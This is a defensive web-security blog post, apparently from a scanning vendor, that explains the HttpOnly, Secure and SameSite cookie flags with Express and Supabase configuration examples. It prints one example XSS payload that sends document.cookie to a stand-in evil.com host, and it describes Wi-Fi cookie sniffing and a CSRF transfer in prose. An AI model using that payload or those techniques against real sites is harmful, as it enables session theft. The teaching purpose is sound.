Cookie Security: Your Session Token Is One Flag Away from Theft
A single missing cookie flag can turn your session token into a gift-wrapped present for an attacker. Here's what HttpOnly, Secure, and SameSite actually do — with real attack scenarios and copy-paste fixes.

Two years ago, I was working from a coffee shop in downtown Austin. The guy next to me had his laptop open — dev tools, network tab, watching requests fly by. I glanced at his screen. He wasn't debugging his own app. He was running a packet sniffer on the public Wi-Fi, collecting every unencrypted HTTP cookie that floated past.
In twenty minutes, he had session tokens for three different web apps. He wasn't even a sophisticated attacker — just someone who'd watched a YouTube tutorial. The apps were handing him user sessions on a silver platter because their cookies were missing one word: Secure.
A cookie is a small piece of data the server asks the browser to store and send back on every request. That's the entire mechanism behind web sessions. But a bare cookie — no flags, no restrictions — is dangerously insecure. JavaScript can read it. HTTP can expose it. Any site can attach it to a request.
Three flags stand between your users' sessions and the guy in the coffee shop. Here's what they do, how attackers exploit their absence, and exactly how to set them.
HttpOnly: Don't Let JavaScript Touch Your Cookies
The Attack
An XSS payload is deceptively simple. One line of injected JavaScript:
fetch('https://evil.com/steal?c=' + document.cookie)Figure 2: One line of XSS — exfiltrates every readable cookie to an attacker-controlled server.
That's it. Every cookie readable by JavaScript gets exfiltrated to an attacker-controlled server. Session tokens, user preferences, tracking IDs — all of it. The attacker doesn't need your password. They have your session.
The Fix
HttpOnly tells the browser: "JavaScript cannot read this cookie." document.cookie returns nothing for HttpOnly cookies, even if the page is riddled with XSS.
Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Lax; Path=/Figure 3: HttpOnly Set-Cookie header — JavaScript cannot read this cookie even during XSS.
Important: HttpOnly mitigates XSS cookie theft. It does NOT prevent XSS itself. You still need proper output encoding and a Content Security Policy. But it means that even if XSS slips through — and XSS always slips through somewhere — the attacker can't steal sessions.
Secure: HTTPS or Nothing
The Attack
Back to the coffee shop. When you connect to public Wi-Fi, anyone on the same network can see unencrypted HTTP traffic. If your session cookie doesn't have the Secure flag, the browser sends it over HTTP. The guy with Wireshark captures it. He copies the cookie into his own browser. Now he's logged in as you.
This isn't theoretical. Tools like Firesheep made this a point-and-click attack over a decade ago, and unprotected cookies are still just as vulnerable today.
The Fix
Set-Cookie: session_id=abc123; Secure; HttpOnly; SameSite=Lax; Path=/Figure 4: Secure flag Set-Cookie header — browser only sends this over HTTPS, never unencrypted HTTP.
The Secure flag tells the browser: "Only send this cookie over HTTPS. Never over unencrypted HTTP." Even if the user types http:// or clicks an old HTTP link, the cookie stays home. Combined with HSTS (which prevents HTTP connections entirely), you've closed the public Wi-Fi attack vector.
Every session cookie MUST have the Secure flag. There is no legitimate reason to send authentication tokens over plaintext.
SameSite: Your CSRF Shield
The Attack
Cross-Site Request Forgery (CSRF) works like this: you're logged into your banking app. You visit a malicious site (or a compromised blog). That site has a hidden form that submits a POST request to yourbank.com/transfer?to=attacker&amount=10000. Your browser automatically attaches your session cookie. The bank sees a valid authenticated request and processes the transfer.
Without SameSite, any site can trigger authenticated requests to your app.
The Fix
| SameSite Value | Cookie Sent On | Breaks Email Links? | CSRF Protection | Use Case |
|---|---|---|---|---|
| Strict | Same-site requests only | Yes — cookie not sent when clicking a link to your site | Strongest | Banking, admin panels, high-security apps |
| Lax | Same-site + top-level GET navigations from other sites | No — clicking a link still works | Strong (blocks cross-site POSTs) | Recommended default for most apps |
| None | Every request, anywhere | No | None — you need CSRF tokens | Cross-domain embeds (must have Secure) |
Figure 1: SameSite attribute values compared across security, usability, and appropriate use cases.
SameSite=Lax is the sweet spot. It blocks the CSRF attack (cross-site POST requests never include the cookie) while preserving normal user behavior (clicking a link from an email still logs them in).
Avoid SameSite=None unless you genuinely need cross-site requests, and even then, pair it with CSRF tokens. SameSite=None without Secure is invalid — browsers will reject it.
Express: Three Lines
res.cookie('auth_token', token, {
httpOnly: true,
secure: true,
sameSite: 'lax',
maxAge: 3600000 // 1 hour
});Figure 5: Express cookie configuration — three lines to set all security flags on the auth token.
Supabase SSR (Next.js)
If you're using Supabase's SSR package, cookie configuration lives in your middleware client setup:
// utils/supabase/middleware.ts
cookies: {
set(name, value, options) {
cookieStore.set(name, value, {
...options,
httpOnly: true,
secure: true,
sameSite: 'lax',
});
},
}Figure 6: Supabase SSR middleware cookie configuration — enforces HttpOnly, Secure, and SameSite on all Supabase auth cookies.
The Complete Cookie
A correctly configured session cookie looks like this:
__Host-session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/Figure 7: The complete session cookie — four flags plus the __Host- prefix for defense in depth.
Four flags. That's the difference between a locked door and a welcome mat. The __Host- prefix is a bonus — it tells the browser to reject the cookie unless it has Secure, Path=/, and no Domain attribute. Defense in depth.
What Happens When You Get This Wrong
We see it constantly in VibeShield scans. AI coding tools generate cookie configurations that look functional but are missing critical flags. A Supabase integration that doesn't set httpOnly: true. An Express app with secure: false because the developer tested locally without HTTPS and forgot to switch. A cookie with SameSite=None and no CSRF protection because the docs said "set this to None if you're on different domains" and the developer never questioned it.
Each missing flag is an attack surface. The coffee shop Wi-Fi guy only needed one.
Summary
- Three cookie flags form the complete defense:
HttpOnlyprevents JavaScript from reading session tokens (even during XSS),Secureprevents transmission over unencrypted HTTP (coffee shop Wi-Fi attacks), andSameSite=Laxblocks cross-site request forgery while preserving normal user navigation. SameSite=Laxis the recommended default — it blocks cross-site POSTs (CSRF) but still sends cookies when users click links from emails or external sites. AvoidSameSite=Noneunless you genuinely need cross-site requests and pair it with CSRF tokens.- AI coding tools frequently generate cookie configurations with missing flags: a Supabase integration without
httpOnly: true, an Express app withsecure: falseleft over from local dev, orSameSite=Nonecopied from docs without understanding the implications. - A correctly configured session cookie is just four flags:
__Host-session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/. The__Host-prefix adds defense-in-depth by requiringSecureandPath=/.
Found this useful? Scan your app at vibeshield.org — our cookie audit checks every flag and tells you exactly what to fix.
Read next: 5 Security Headers Every Vibe-Coded App Needs for the other half of browser security. Also How to Fix innerHTML XSS in AI-Generated JavaScript — because HttpOnly prevents cookie theft, but fixing XSS at the source is even better.